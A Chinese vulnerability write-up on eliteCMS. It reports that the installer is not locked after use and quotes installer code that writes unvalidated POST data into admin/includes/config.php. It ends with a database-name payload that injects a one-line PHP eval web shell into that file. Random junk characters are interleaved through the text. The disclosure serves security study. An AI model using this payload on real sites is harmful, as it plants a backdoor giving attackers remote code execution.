eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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3 L; j5 A. t; w/ l- e8 V5 U另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
' u! h* M. x- j1 c% w我们来看代码：

' I# J  x8 p5 p$ l8 }...
elseif ($_GET['step'] == "4") {
- o% ?- d# B/ x! r9 _: }7 `    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
5 M! M$ O0 A7 x    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) R. c  N: c. N5 d+ t8 r5 m    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
  i2 Y4 B; F$ M$ ^    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
" @9 ?; j/ w8 |    $write .= "if (!\$connection) {\n";
- }6 V- d! r8 _# P8 ?    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
+ h* O6 D( `, V& d) L* K  A    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
: z# G, |" L( a6 Q2 z    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

' m  U5 W1 ]6 X; k- R% S    $writer = fopen($file, 'w');
...
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. S1 v& M" \- e% G9 Y在看代码：
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/ r4 }) o3 E5 }$ T( ?$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ `# s( \% m3 r$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 Q. L. p: Y7 b" z% V$ z$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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9 W# q0 X/ h$ z8 a" A! _取值未作任何验证
% b  L, w% X7 o5 y  W% I6 Z如果将数据库名POST数据：

4 [; q+ {$ M& D, g$ a"?><?php eval($_POST[c]);?><?php

! v* e- M/ D! W将导致一句话后门写入/admin/includes/config.php
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